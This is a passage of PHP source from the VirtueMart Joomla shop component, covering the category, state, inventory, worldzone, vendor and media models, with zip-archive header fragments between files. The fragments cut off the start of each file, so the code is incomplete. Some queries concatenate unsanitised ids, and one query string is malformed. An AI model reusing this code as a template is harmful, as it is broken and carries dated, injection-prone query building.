$parentIds[$i]; if( isset($parentIdsHash[$parentId] )){ $parentIdsHash[$parentId][$categoryArr[$i]->category_child_id] = $i; } else{ $parentIdsHash[$parentId] = array($categoryArr[$i]->category_child_id => $i); } } $loopCount = 0; $watch = array(); // Hash to store children while( count($idList) < $nrows ){ if( $loopCount > $nrows ) break; $idTemp = array(); $rowTemp = array(); $depthTemp = array(); for($i = 0, $cIdlist = count($idList); $i < $cIdlist ; $i++) { $id = $idList[$i]; $row = $rowList[$i]; $depth = $depthList[$i]; array_push($idTemp, $id); array_push($rowTemp, $row); array_push($depthTemp, $depth); $children = @$parentIdsHash[$id]; if( !empty($children) ){ foreach($children as $key => $value) { if( !isset($watch[$id][$key]) ){ $watch[$id][$key] = 1; array_push($idTemp, $key); array_push($rowTemp, $value); array_push($depthTemp, $depth + 1); } } } } $idList = $idTemp; $rowList = $rowTemp; $depthList = $depthTemp; $loopCount++; } return array('id_list' => $idList, 'row_list' => $rowList, 'depth_list' => $depthList, 'categories' => $categoryArr ); } /* * Returns an array of the categories recursively for a given category * @author Kohl Patrick * @param int $id * @param int $maxLevel * @Object $this->container * @deprecated */ function treeCat($id=0,$maxLevel =1000) { static $level = 0; static $num = -1 ; $db = JFactory::getDBO(); $q = 'SELECT `category_child_id`,`category_name` FROM `#__virtuemart_categories_'.VMLANG.'` LEFT JOIN `#__virtuemart_category_categories` on `#__virtuemart_categories`.`virtuemart_category_id`=`#__virtuemart_category_categories`.`category_child_id` WHERE `category_parent_id`='.(int)$id; $db->setQuery($q); $num ++; // if it is a leaf (no data underneath it) then return $childs = $db->loadObjectList(); if ($level==$maxLevel) return; if ($childs) { $level++; foreach ($childs as $child) { $this->container[$num]->id = $child->category_child_id; $this->container[$num]->name = $child->category_name; $this->container[$num]->level = $level; self::treeCat($child->category_child_id,$maxLevel ); } $level--; } } /** * @author Kohl Patrick * @param $maxlevel the number of level * @param $id the root category id * @Object $this->container * @ return categories id, name and level in container * if you set Maxlevel to 0, then you see nothing * max level =1 for simple category,2 for category and child cat .... * don't set it for all (1000 levels) * @deprecated */ function GetTreeCat($id=0,$maxLevel = 1000) { self::treeCat($id ,$maxLevel) ; return $this->container ; } /** * This function is repsonsible for returning an array containing category information * @param boolean Show only published products? * @param string the keyword to filter categories * @deprecated */ function getCategoryTreeArray( $only_published=true, $keyword = "" ) { $db = JFactory::getDBO(); if( empty( $this->_category_tree)) { // Get only published categories $query = "SELECT `virtuemart_category_id`, `category_description`, `category_name`,`category_child_id`, `category_parent_id`,`#__virtuemart_categories`.`ordering`, `published` as category_publish FROM `#__virtuemart_category_categories`, `#__virtuemart_categories_".VMLANG."` as L JOIN `#__virtuemart_categories` using (`virtuemart_category_id`) WHERE "; if( $only_published ) { $query .= "`#__virtuemart_categories`.`published`=1 AND "; } $query .= " L.`virtuemart_category_id`=`#__virtuemart_category_categories`.`category_child_id` "; if( !empty( $keyword ) ) { $keyword = '"%' . $this->_db->getEscaped( $keyword, true ) . '%"' ; //$keyword = $this->_db->Quote($keyword, false); $query .= 'AND ( `category_name` LIKE '.$keyword.' OR `category_description` LIKE '.$keyword.') '; } /* if( !empty( $keyword )) { $query .= "AND ( `category_name` LIKE '%$keyword%' "; $query .= "OR `category_description` LIKE '%$keyword%' "; $query .= ") "; }*/ $query .= " ORDER BY `#__virtuemart_categories`.`ordering` ASC, L.`category_name` ASC"; // initialise the query in the $database connector $db->setQuery($query); // Transfer the Result into a searchable Array $dbCategories = $db->loadAssocList(); //if (!$ids = $db->loadObject()) foreach( $dbCategories as $Cat ) { $this->_category_tree[$Cat['category_child_id']] = $Cat; } } } /** * Sorts an array with categories so the order of the categories is the same as in a tree, just as a flat list. * The Tree Depth is * * @deprecated * @param array $categoryArr */ function sortCategoryTreeArray() { // Copy the Array into an Array with auto_incrementing Indexes $key = array_keys($this->_category_tree); // Array of category table primary keys $nrows = $size = sizeOf($key); // Category count /** FIRST STEP * Order the Category Array and build a Tree of it **/ $id_list = array(); $row_list = array(); $depth_list = array(); $children = array(); $parent_ids = array(); $parent_ids_hash = array(); //Build an array of category references $category_tmp = Array(); for ($i=0; $i<$size; $i++) { $category_tmp[$i] = $this->_category_tree[$key[$i]]; $parent_ids[$i] = $category_tmp[$i]['category_parent_id']; if($category_tmp[$i]["category_parent_id"] == 0) { array_push($id_list,$category_tmp[$i]["category_child_id"]); array_push($row_list,$i); array_push($depth_list,0); } $parent_id = $parent_ids[$i]; if (isset($parent_ids_hash[$parent_id])) { $parent_ids_hash[$parent_id][$i] = $parent_id; } else { $parent_ids_hash[$parent_id] = array($i => $parent_id); } } $loop_count = 0; $watch = array(); // Hash to store children while(count($id_list) < $nrows) { if( $loop_count > $nrows ) break; $id_temp = array(); $row_temp = array(); $depth_temp = array(); for($i = 0 ; $i < count($id_list) ; $i++) { $id = $id_list[$i]; $row = $row_list[$i]; $depth = $depth_list[$i]; array_push($id_temp,$id); array_push($row_temp,$row); array_push($depth_temp,$depth); $children = @$parent_ids_hash[$id]; if (!empty($children)) { foreach($children as $key => $value) { if( !isset($watch[$id][$category_tmp[$key]["category_child_id"]])) { $watch[$id][$category_tmp[$key]["category_child_id"]] = 1; array_push($id_temp,$category_tmp[$key]["category_child_id"]); array_push($row_temp,$key); array_push($depth_temp,$depth + 1); } } } } $id_list = $id_temp; $row_list = $row_temp; $depth_list = $depth_temp; $loop_count++; } return array('id_list' => $id_list, 'row_list' => $row_list, 'depth_list' => $depth_list, 'category_tmp' => $category_tmp); } }PK@y>\K*components/com_virtuemart/models/state.phpnuW+AsetMainTable('states'); $this->_selectedOrderingDir = 'ASC'; } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * Renamed to getSingleState to avoid overwriting by jseros * * @author Max Milbers */ function getSingleState(){ if (empty($this->_data)) { $this->_data = $this->getTable('states'); $this->_data->load((int)$this->_id); } return $this->_data; } /** * Retireve a list of countries from the database. * * @author RickG, Max Milbers * @return object List of state objects */ public function getStates($countryId, $noLimit=false, $published = false) { $quer= 'SELECT * FROM `#__virtuemart_states` WHERE `virtuemart_country_id`= "'.(int)$countryId.'" '; if($published){ $quer .= 'AND `published`="1" '; } $quer .= 'ORDER BY `#__virtuemart_states`.`state_name`'; if ($noLimit) { $this->_data = $this->_getList($quer); } else { $this->_data = $this->_getList($quer, $this->getState('limitstart'), $this->getState('limit')); } if(count($this->_data) >0){ $this->_total = $this->_getListCount($quer); } return $this->_data; } /** * Tests if a state and country fits together and if they are published * * @author Max Milbers * @return String Attention, this function gives a 0=false back in case of success */ public static function testStateCountry($countryId,$stateId) { $countryId = (int)$countryId; $stateId = (int)$stateId; vmdebug('testStateCountry country '.$countryId.' $stateId '.$stateId); $db = JFactory::getDBO(); $q = 'SELECT * FROM `#__virtuemart_countries` WHERE `virtuemart_country_id`= "'.$countryId.'" AND `published`="1" '; $db->setQuery($q); if($db->loadResult()){ //Test if country has states $q = 'SELECT * FROM `#__virtuemart_states` WHERE `virtuemart_country_id`= "'.$countryId.'" AND `published`="1" '; $db->setQuery($q); if($res = $db->loadResult()){ vmdebug('testStateCountry country has states ',$res); //Test if virtuemart_state_id fits to virtuemart_country_id $q = 'SELECT * FROM `#__virtuemart_states` WHERE `virtuemart_country_id`= "'.$countryId.'" AND `virtuemart_state_id`="'.$stateId.'" and `published`="1"'; $db->setQuery($q); if($db->loadResult()){ return true; } else { //There is a country, but the state does not exist or is unlisted return false; } } else { vmdebug('testStateCountry country has no states listed'); //This country has no states listed return true; } } else { //The given country does not exist, this can happen, when no country was chosen, which maybe valid. return true; } } } // pure php no closing tagPK@y>\#o,,+components/com_virtuemart/models/index.htmlnuW+APK@y>\M .components/com_virtuemart/models/inventory.phpnuW+AsetMainTable('products'); $this->addvalidOrderingFieldName(array('product_name','product_sku','product_in_stock','product_price','product_weight','published')); } /** * Select the products to list on the product list page * @author Max Milbers */ public function getInventory() { $select = ' `#__virtuemart_products`.`virtuemart_product_id`, `#__virtuemart_products`.`product_parent_id`, `product_name`, `product_sku`, `product_in_stock`, `product_weight`, `published`, `product_price`'; $joinedTables = 'FROM `#__virtuemart_products` LEFT JOIN `#__virtuemart_product_prices` ON `#__virtuemart_products`.`virtuemart_product_id` = `#__virtuemart_product_prices`.`virtuemart_product_id` LEFT JOIN `#__virtuemart_shoppergroups` ON `#__virtuemart_product_prices`.`virtuemart_shoppergroup_id` = `#__virtuemart_shoppergroups`.`virtuemart_shoppergroup_id`'; return $this->_data = $this->exeSortSearchListQuery(0,$select,$joinedTables,$this->getInventoryFilter(),'',$this->_getOrdering()); } /** * Collect the filters for the query * @author RolandD * @author Max Milbers */ private function getInventoryFilter() { /* Check some filters */ $filters = array(); if ($search = JRequest::getVar('filter_inventory', false)){ $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; //$search = $this->_db->Quote($search, false); $filters[] = '`#__virtuemart_products`.`product_name` LIKE '.$search; } if (JRequest::getInt('stockfilter', 0) == 1){ $filters[] = '`#__virtuemart_products`.`product_in_stock` > 0'; } if ($catId = JRequest::getInt('virtuemart_category_id', 0) > 0){ $filters[] = '`#__virtuemart_categories`.`virtuemart_category_id` = '.$catId; } $filters[] = '(`#__virtuemart_shoppergroups`.`default` = 1 OR `#__virtuemart_shoppergroups`.`default` is NULL)'; return ' WHERE '.implode(' AND ', $filters).$this->_getOrdering(); } } // pure php no closing tagPK@y>\*%/components/com_virtuemart/models/worldzones.phpnuW+AsetMainTable('worldzones'); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author RickG */ function getShipmentZone() { $db = JFactory::getDBO(); if (empty($this->_data)) { $query = 'SELECT * '; $query .= 'FROM `#__virtuemart_worldzones` '; $query .= 'WHERE `virtuemart_worldzone_id` = ' . (int)$this->_id; $db->setQuery($query); $this->_data = $db->loadObject(); } if (!$this->_data) { $this->_data = new stdClass(); $this->_id = 0; $this->_data = null; } return $this->_data; } /** * Retrieve a list of zone ids and zone names for use in a HTML select list. * * @author RickG */ function getWorldZonesSelectList() { $db = JFactory::getDBO(); $query = 'SELECT `virtuemart_worldzone_id`, `zone_name` '; $query .= 'FROM `#__virtuemart_worldzones`'; $db->setQuery($query); return $db->loadObjectList(); } } // pure php no closing tagPK@y>\,A2A2+components/com_virtuemart/models/vendor.phpnuW+AsetId (1); } $this->setMainTable ('vendors'); } /** * name: getLoggedVendor * Checks which $vendorId has the just logged in user. * * @author Max Milbers * @param @param $ownerOnly returns only an id if the vendorOwner is logged in (dont get confused with storeowner) * returns int $vendorId */ static function getLoggedVendor ($ownerOnly = TRUE) { $user = JFactory::getUser (); $userId = $user->id; if (isset($userId)) { $vendorId = self::getVendorId ('user', $userId, $ownerOnly); return $vendorId; } else { JError::raiseNotice (1, '$virtuemart_user_id empty, no user logged in'); return 0; } } /** * Retrieve the vendor details from the database. * * @author Max Milbers * @return object Vendor details */ function getVendor ($vendor_id = NULL) { if ($vendor_id) { $this->_id = $vendor_id; } if (empty($this->_data)) { $this->_data = $this->getTable ('vendors'); $this->_data->load ($this->_id); // vmdebug('getVendor',$this->_id,$this->_data); // Convert ; separated string into array if ($this->_data->vendor_accepted_currencies) { $this->_data->vendor_accepted_currencies = explode (',', $this->_data->vendor_accepted_currencies); } else { $this->_data->vendor_accepted_currencies = array(); } //Todo, check this construction $xrefTable = $this->getTable ('vendor_medias'); $this->_data->virtuemart_media_id = $xrefTable->load ($this->_id); } return $this->_data; } /** * Retrieve a list of vendors * todo only names are needed here, maybe it should be enhanced (loading object list is slow) * todo add possibility to load without limit * * @author RickG * @author Max Milbers * @return object List of vendors */ public function getVendors () { $this->setId (0); //This is important ! notice by Max Milbers $query = 'SELECT * FROM `#__virtuemart_vendors_' . VMLANG . '` as l JOIN `#__virtuemart_vendors` as v using (`virtuemart_vendor_id`)'; $query .= ' ORDER BY l.`virtuemart_vendor_id`'; $this->_data = $this->_getList ($query, $this->getState ('limitstart'), $this->getState ('limit')); return $this->_data; } /** * Find the user id given a vendor id * * @author Max Milbers * @param int $virtuemart_vendor_id * @return int $virtuemart_user_id */ static function getUserIdByVendorId ($vendorId) { //this function is used static, needs its own db if (empty($vendorId)) { return; } else { $db = JFactory::getDBO (); $query = 'SELECT `virtuemart_user_id` FROM `#__virtuemart_vmusers` WHERE `virtuemart_vendor_id`=' . (int)$vendorId; $db->setQuery ($query); $result = $db->loadResult (); $err = $db->getErrorMsg (); if (!empty($err)) { vmError ('getUserIdByVendorId ' . $err, 'Failed to retrieve user id by vendor'); } return (isset($result) ? $result : 0); } } /** * Bind the post data to the vendor table and save it * This function DOES NOT safe information which is in the vmusers or vm_user_info table * It only stores the stuff into the vendor table * * @author RickG * @author Max Milbers * @return boolean True is the save was successful, false otherwise. */ function store (&$data) { JPluginHelper::importPlugin ('vmvendor'); $dispatcher = JDispatcher::getInstance (); $plg_datas = $dispatcher->trigger ('plgVmOnVendorStore', $data); foreach ($plg_datas as $plg_data) { $data = array_merge ($plg_data); } $oldVendorId = $data['virtuemart_vendor_id']; $table = $this->getTable ('vendors'); /* if(!$table->checkDataContainsTableFields($data)){ $app = JFactory::getApplication(); //$app->enqueueMessage('Data contains no Info for vendor, storing not needed'); return $this->_id; }*/ // Store multiple selectlist entries as a ; separated string if (array_key_exists ('vendor_accepted_currencies', $data) && is_array ($data['vendor_accepted_currencies'])) { $data['vendor_accepted_currencies'] = implode (',', $data['vendor_accepted_currencies']); } $table->bindChecknStore ($data); $errors = $table->getErrors (); foreach ($errors as $error) { $this->setError ($error); vmError ('store vendor', $error); } //set vendormodel id to the lastinserted one // $dbv = $table->getDBO(); // if(empty($this->_id)) $this->_id = $dbv->insertid(); if (empty($this->_id)) { $data['virtuemart_vendor_id'] = $this->_id = $table->virtuemart_vendor_id; } if ($this->_id != $oldVendorId) { vmdebug('Developer notice, tried to update vendor xref should not appear in singlestore $oldVendorId = '.$oldVendorId.' newId = '.$this->_id); //update user table $usertable = $this->getTable ('vmusers'); // $vendorsUserData =$usertable->load($this->_id); // $vendorsUserData =$usertable->load($data['virtuemart_user_id']); // $vendorsUserData->virtuemart_vendor_id = $virtuemart_vendor_id; //$vmusersData = array('virtuemart_user_id'=>$data['virtuemart_user_id'],'user_is_vendor'=>1,'virtuemart_vendor_id'=>$virtuemart_vendor_id,'customer_number'=>$data['customer_number'],'perms'=>$data['perms']); $usertable->bindChecknStore ($data, TRUE); $errors = $usertable->getErrors (); foreach ($errors as $error) { $this->setError ($error); vmError ('Store vendor ' . $error); } } // Process the images $mediaModel = VmModel::getModel ('Media'); $mediaModel->storeMedia ($data, 'vendor'); $errors = $mediaModel->getErrors (); foreach ($errors as $error) { vmError ($error); } $plg_datas = $dispatcher->trigger ('plgVmAfterVendorStore', $data); foreach ($plg_datas as $plg_data) { $data = array_merge ($plg_data); } return $this->_id; } /** * Get the vendor specific currency * * @author Oscar van Eijk * @param $_vendorId Vendor ID * @return string Currency code */ static $_vendorCurrencies = array(); static function getVendorCurrency ($_vendorId) { if(!isset(self::$_vendorCurrencies[$_vendorId])){ $db = JFactory::getDBO (); $q = 'SELECT * FROM `#__virtuemart_currencies` AS c , `#__virtuemart_vendors` AS v WHERE v.virtuemart_vendor_id = ' . (int)$_vendorId . ' AND v.vendor_currency = c.virtuemart_currency_id'; $db->setQuery ($q); self::$_vendorCurrencies[$_vendorId] = $db->loadObject (); } return self::$_vendorCurrencies[$_vendorId]; } /** * Retrieve a lost of vendor objects * * @author Oscar van Eijk * @return Array with all Vendor objects */ function getVendorCategories () { $_q = 'SELECT * FROM `#__vm_vendor_category`'; $this->_db->setQuery ($_q); return $this->_db->loadObjectList (); } function getUserIdByOrderId ($virtuemart_order_id) { if (empty ($virtuemart_order_id)) { return 0; } $virtuemart_order_id = (int)$virtuemart_order_id; $q = "SELECT `virtuemart_user_id` FROM `#__virtuemart_orders` WHERE `virtuemart_order_id`='.$virtuemart_order_id'"; // $db->query( $q ); $this->_db->setQuery ($q); // if($db->next_record()){ if ($this->_db->query ()) { // $virtuemart_user_id = $db->f('virtuemart_user_id'); return $this->_db->loadResult (); } else { JError::raiseNotice (1, 'Error in DB $virtuemart_order_id ' . $virtuemart_order_id . ' dont have a virtuemart_user_id'); return 0; } } /** * Gets the vendorId by user Id mapped by table auth_user_vendor or by the order item * Assigned users cannot change storeinformations * ownerOnly = false should be used for users who are assigned to a vendor * for administrative jobs like execution of orders or managing products * Changing of vendorinformation should ONLY be possible by the Mainvendor who is in charge * * @author by Max Milbers * @author RolandD * @param string $type Where the vendor ID should be taken from * @param mixed $value Whatever value the vendor ID should be filtered on * @return int Vendor ID */ static public function getVendorId ($type, $value, $ownerOnly = TRUE) { if (empty($value)) { return 0; } //sanitize input params $value = (int)$value; //static call used, so we need our own db instance $db = JFactory::getDBO (); switch ($type) { case 'order': $q = 'SELECT virtuemart_vendor_id FROM #__virtuemart_order_items WHERE virtuemart_order_id=' . $value; break; case 'user': if ($ownerOnly) { $q = 'SELECT `virtuemart_vendor_id` FROM `#__virtuemart_vmusers` `au` LEFT JOIN `#__virtuemart_userinfos` `u` ON (au.virtuemart_user_id = u.virtuemart_user_id) WHERE `u`.`virtuemart_user_id`=' . $value; } else { $q = 'SELECT `virtuemart_vendor_id` FROM `#__virtuemart_vmusers` WHERE `virtuemart_user_id`= "' . $value . '" '; } break; case 'product': $q = 'SELECT virtuemart_vendor_id FROM #__virtuemart_products WHERE virtuemart_product_id=' . $value; break; } $db->setQuery ($q); $virtuemart_vendor_id = $db->loadResult (); if ($virtuemart_vendor_id) { return $virtuemart_vendor_id; } else { return 0; // if($type!='user'){ // return 0; // } else { // JError::raiseNotice(1, 'No virtuemart_vendor_id found for '.$value.' on '.$type.' check.'); // return 0; // } } } /** * This function gives back the storename for the given vendor. * * @author Max Milbers */ public function getVendorName ($virtuemart_vendor_id = 1) { $query = 'SELECT `vendor_store_name` FROM `#__virtuemart_vendors_' . VMLANG . '` WHERE `virtuemart_vendor_id` = "' . (int)$virtuemart_vendor_id . '" '; $this->_db->setQuery ($query); if ($this->_db->query ()) { return $this->_db->loadResult (); } else { return ''; } } /** * This function gives back the email for the given vendor. * * @author Max Milbers */ public function getVendorEmail ($virtuemart_vendor_id) { $virtuemart_user_id = self::getUserIdByVendorId ((int)$virtuemart_vendor_id); if (!empty($virtuemart_user_id)) { $query = 'SELECT `email` FROM `#__users` WHERE `id` = "' . $virtuemart_user_id . '" '; $this->_db->setQuery ($query); if ($this->_db->query ()) { return $this->_db->loadResult (); } else { return ''; } } return ''; } public function getVendorAdressBT ($virtuemart_vendor_id) { $userId = self::getUserIdByVendorId ($virtuemart_vendor_id); $usermodel = VmModel::getModel ('user'); // $usermodel->setId($userId); $virtuemart_userinfo_id = $usermodel->getBTuserinfo_id ($userId); $vendorAddressBt = $this->getTable ('userinfos'); $vendorAddressBt->load ($virtuemart_userinfo_id); return $vendorAddressBt; } private $_vendorFields = FALSE; public function getVendorAddressFields(){ if(!$this->_vendorFields){ $userId = VirtueMartModelVendor::getUserIdByVendorId ($this->_id); $userModel = VmModel::getModel ('user'); $virtuemart_userinfo_id = $userModel->getBTuserinfo_id ($userId); // this is needed to set the correct user id for the vendor when the user is logged $userModel->getVendor($this->_id,FALSE); $vendorFieldsArray = $userModel->getUserInfoInUserFields ('mail', 'BT', $virtuemart_userinfo_id, FALSE, TRUE); $this->_vendorFields = $vendorFieldsArray[$virtuemart_userinfo_id]; } return $this->_vendorFields; } } PK@y>\$k88*components/com_virtuemart/models/media.phpnuW+AsetMainTable('medias'); $this->addvalidOrderingFieldName(array('ordering')); $this->_selectedOrdering = 'created_on'; } /** * Gets a single media by virtuemart_media_id * . * @param string $type * @param string $mime mime type of file, use for exampel image * @return mediaobject */ function getFile($type=0,$mime=0){ if (empty($this->_data)) { $data = $this->getTable('medias'); $data->load((int)$this->_id); if (!class_exists('VmMediaHandler')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'mediahandler.php'); $this->_data = VmMediaHandler::createMedia($data,$type,$mime); } return $this->_data; } /** * Kind of getFiles, it creates a bunch of image objects by an array of virtuemart_media_id * * @author Max Milbers * @param int $virtuemart_media_id * @param string $type * @param string $mime */ function createMediaByIds($virtuemart_media_ids,$type='',$mime='',$limit =0){ if (!class_exists('VmMediaHandler')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'mediahandler.php'); $app = JFactory::getApplication(); $medias = array(); static $_medias = array(); if(!empty($virtuemart_media_ids)){ if(!is_array($virtuemart_media_ids)) $virtuemart_media_ids = explode(',',$virtuemart_media_ids); //Lets delete empty ids //$virtuemart_media_ids = array_diff($virtuemart_media_ids,array('0','')); $data = $this->getTable('medias'); foreach($virtuemart_media_ids as $k => $virtuemart_media_id){ if($limit!==0 and $k==$limit and !empty($medias)) break; // never break if $limit = 0 if(is_object($virtuemart_media_id)){ $id = $virtuemart_media_id->virtuemart_media_id; } else { $id = $virtuemart_media_id; } if(!empty($id)){ if (!array_key_exists ($id, $_medias)) { $data->load((int)$id); if($app->isSite()){ if($data->published==0){ $_medias[$id] = $this->createVoidMedia($type,$mime); continue; } } $file_type = empty($data->file_type)? $type:$data->file_type; $mime = empty($data->file_mimetype)? $mime:$data->file_mimetype; if($app->isSite()){ $selectedLangue = explode(",", $data->file_lang); //vmdebug('selectedLangue',$selectedLangue); $lang = JFactory::getLanguage(); if(in_array($lang->getTag(), $selectedLangue) || $data->file_lang == '') { $_medias[$id] = VmMediaHandler::createMedia($data,$file_type,$mime); if(is_object($virtuemart_media_id) && !empty($virtuemart_media_id->product_name)) $_medias[$id]->product_name = $virtuemart_media_id->product_name; } } else { $_medias[$id] = VmMediaHandler::createMedia($data,$file_type,$mime); if(is_object($virtuemart_media_id) && !empty($virtuemart_media_id->product_name)) $_medias[$id]->product_name = $virtuemart_media_id->product_name; } } if (!empty($_medias[$id])) { $medias[] = $_medias[$id]; } } } } if(empty($medias)){ $medias[] = $this->createVoidMedia($type,$mime); } return $medias; } function createVoidMedia($type,$mime){ static $voidMedia = null; if(empty($voidMedia)){ $data = $this->getTable('medias'); //Create empty data $data->virtuemart_media_id = 0; $data->virtuemart_vendor_id = 0; $data->file_title = ''; $data->file_description = ''; $data->file_meta = ''; $data->file_mimetype = ''; $data->file_type = ''; $data->file_url = ''; $data->file_url_thumb = ''; $data->published = 0; $data->file_is_downloadable = 0; $data->file_is_forSale = 0; $data->file_is_product_image = 0; $data->shared = 0; $data->file_params = 0; $data->file_lang = ''; $voidMedia = VmMediaHandler::createMedia($data,$type,$mime); } return $voidMedia; } /** * Retrieve a list of files from the database. This is meant only for backend use * * @author Max Milbers * @param boolean $onlyPublished True to only retrieve the published files, false otherwise * @param boolean $noLimit True if no record count limit is used, false otherwise * @return object List of media objects */ function getFiles($onlyPublished=false, $noLimit=false, $virtuemart_product_id=null, $cat_id=null, $where=array(),$nbr=false){ $this->_noLimit = $noLimit; if(empty($this->_db)) $this->_db = JFactory::getDBO(); $vendorId = 1; //TODO set to logged user or requested vendorId, not easy later $query = ''; $selectFields = array(); $joinTables = array(); $joinedTables = ''; $whereItems= array(); $groupBy =''; $orderByTable = ''; if(!empty($virtuemart_product_id)){ $mainTable = '`#__virtuemart_product_medias`'; $selectFields[] = ' `#__virtuemart_medias`.`virtuemart_media_id` as virtuemart_media_id '; $joinTables[] = ' LEFT JOIN `#__virtuemart_medias` ON `#__virtuemart_medias`.`virtuemart_media_id`=`#__virtuemart_product_medias`.`virtuemart_media_id` and `virtuemart_product_id` = "'.$virtuemart_product_id.'"'; $whereItems[] = '`virtuemart_product_id` = "'.$virtuemart_product_id.'"'; if($this->_selectedOrdering=='ordering'){ $orderByTable = '`#__virtuemart_product_medias`.'; } else{ $orderByTable = '`#__virtuemart_medias`.'; } } else if(!empty($cat_id)){ $mainTable = '`#__virtuemart_category_medias`'; $selectFields[] = ' `#__virtuemart_medias`.`virtuemart_media_id` as virtuemart_media_id'; $joinTables[] = ' LEFT JOIN `#__virtuemart_medias` ON `#__virtuemart_medias`.`virtuemart_media_id`=`#__virtuemart_category_medias`.`virtuemart_media_id` and `virtuemart_category_id` = "'.$cat_id.'"'; $whereItems[] = '`virtuemart_category_id` = "'.$cat_id.'"'; if($this->_selectedOrdering=='ordering'){ $orderByTable = '`#__virtuemart_category_medias`.'; } else{ $orderByTable = '`#__virtuemart_medias`.'; } } else { $mainTable = '`#__virtuemart_medias`'; $selectFields[] = ' `virtuemart_media_id` '; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check('admin') ){ $whereItems[] = '(`virtuemart_vendor_id` = "'.(int)$vendorId.'" OR `shared`="1")'; } } if ($onlyPublished) { $whereItems[] = '`#__virtuemart_medias`.`published` = 1'; } if ($search = JRequest::getString('searchMedia', false)){ $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; $where[] = ' (`file_title` LIKE '.$search.' OR `file_description` LIKE '.$search.' OR `file_meta` LIKE '.$search.' OR `file_url` LIKE '.$search.' OR `file_url_thumb` LIKE '.$search.' ) '; } if ($type = JRequest::getWord('search_type')) { $where[] = 'file_type = "'.$type.'" ' ; } if ($role = JRequest::getWord('search_role')) { if ($role == "file_is_downloadable") { $where[] = '`file_is_downloadable` = 1'; $where[] = '`file_is_forSale` = 0'; } elseif ($role == "file_is_forSale") { $where[] = '`file_is_downloadable` = 0'; $where[] = '`file_is_forSale` = 1'; } else { $where[] = '`file_is_downloadable` = 0'; $where[] = '`file_is_forSale` = 0'; } } if (!empty($where)) $whereItems = array_merge($whereItems,$where); if(count($whereItems)>0){ $whereString = ' WHERE '.implode(' AND ', $whereItems ); } else { $whereString = ' '; } $orderBy = $this->_getOrdering($orderByTable);# if(count($selectFields)>0){ $select = implode(', ', $selectFields ).' FROM '.$mainTable; //$selectFindRows = 'SELECT COUNT(*) FROM '.$mainTable; if(count($joinTables)>0){ foreach($joinTables as $table){ $joinedTables .= $table; } } } else { vmError('No select fields given in getFiles','No select fields given'); return false; } $this->_data = $this->exeSortSearchListQuery(2, $select, $joinedTables, $whereString, $groupBy, $orderBy,'',$nbr); if(empty($this->_data)){ return array(); } if( !is_array($this->_data)){ $this->_data = explode(',',$this->_data); } $this->_data = $this->createMediaByIds($this->_data); return $this->_data; } /** * This function stores a media and updates then the refered table * * @author Max Milbers * @author Patrick Kohl * @param array $data Data from a from * @param string $type type of the media category,product,manufacturer,shop, ... */ function storeMedia($data,$type){ // vmdebug('my data in media to store start',$data['virtuemart_media_id']); JRequest::checkToken() or jexit( 'Invalid Token, while trying to save media' ); if(empty($data['media_action'])){ $data['media_action'] = 'none'; } //vmdebug('storeMedia',$data); //the active media id is not empty, so there should be something done with it //if( (!empty($data['active_media_id']) && !empty($data['virtuemart_media_id']) ) || $data['media_action']=='upload'){ if( (!empty($data['active_media_id']) and isset($data['virtuemart_media_id']) ) || $data['media_action']=='upload'){ $oldIds = $data['virtuemart_media_id']; $data['file_type'] = $type; //$data['virtuemart_media_id'] = (int)$data['active_media_id']; //done within the function now $this -> setId($data['active_media_id']); $virtuemart_media_id = $this->store($data,$type); //added by Mike, Mike why did you add this? This function storeMedia is extremely nasty $this->setId($virtuemart_media_id); if(!empty($oldIds)){ if(!is_array($oldIds)) $oldIds = array($oldIds); if(!empty($data['mediaordering']) && $data['media_action']=='upload'){ // array_push($data['mediaordering'],count($data['mediaordering'])+1); $data['mediaordering'][$virtuemart_media_id] = count($data['mediaordering']); } $virtuemart_media_ids = array_merge( (array)$virtuemart_media_id,$oldIds); // vmdebug('merged old and new',$virtuemart_media_ids); $data['virtuemart_media_id'] = array_unique($virtuemart_media_ids); } else { $data['virtuemart_media_id'] = $virtuemart_media_id; } } if(!empty($data['mediaordering'])){ asort($data['mediaordering']); $sortedMediaIds = array(); foreach($data['mediaordering'] as $k=>$v){ $sortedMediaIds[] = $k; } // vmdebug('merging old and new',$oldIds,$virtuemart_media_id); $data['virtuemart_media_id'] = $sortedMediaIds; } // vmdebug('my data in media to store',$data['virtuemart_media_id'],$data['mediaordering']); //set the relations $table = $this->getTable($type.'_medias'); // Bind the form fields to the country table $table->bindChecknStore($data); $errors = $table->getErrors(); foreach($errors as $error){ vmError($error); } return $table->virtuemart_media_id; } /** * Store an entry of a mediaItem, this means in end effect every media file in the shop * images, videos, pdf, zips, exe, ... * * @author Max Milbers */ public function store(&$data,$type) { VmConfig::loadJLang('com_virtuemart_media'); //if(empty($data['media_action'])) return $table->virtuemart_media_id; if (!class_exists('VmMediaHandler')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'mediahandler.php'); $table = $this->getTable('medias'); /* $a = trim($data['file_url_thumb']); $b = trim(JText::sprintf('COM_VIRTUEMART_DEFAULT_URL',$data['file_url_thumb'])); vmdebug(' the miese Assi',$a,$b); if( $a == $b ){ vmdebug('Unset the miese Assi'); unset($data['file_url_thumb']); }*/ //unset($data['file_url_thumb']); $data['virtuemart_media_id'] = $this->getId(); $table->bind($data); $data = VmMediaHandler::prepareStoreMedia($table,$data,$type); //this does not store the media, it process the actions and prepares data // workarround for media published and product published two fields in one form. $tmpPublished = false; if (isset($data['media_published'])){ $tmpPublished = $data['published']; $data['published'] = $data['media_published']; //vmdebug('$data["published"]',$data['published']); } $table->bindChecknStore($data); $errors = $table->getErrors(); foreach($errors as $error){ vmError('store medias '.$error); } if($tmpPublished){ $data['published'] = $tmpPublished; } // vmdebug('store media $table->virtuemart_media_id '.$table->virtuemart_media_id); return $table->virtuemart_media_id; } public function attachImages($objects,$type,$mime='',$limit=0){ if(!empty($objects)){ if(!is_array($objects)) $objects = array($objects); foreach($objects as $k => $object){ if(empty($object->virtuemart_media_id)) $virtuemart_media_id = null; else $virtuemart_media_id = $object->virtuemart_media_id; $object->images = 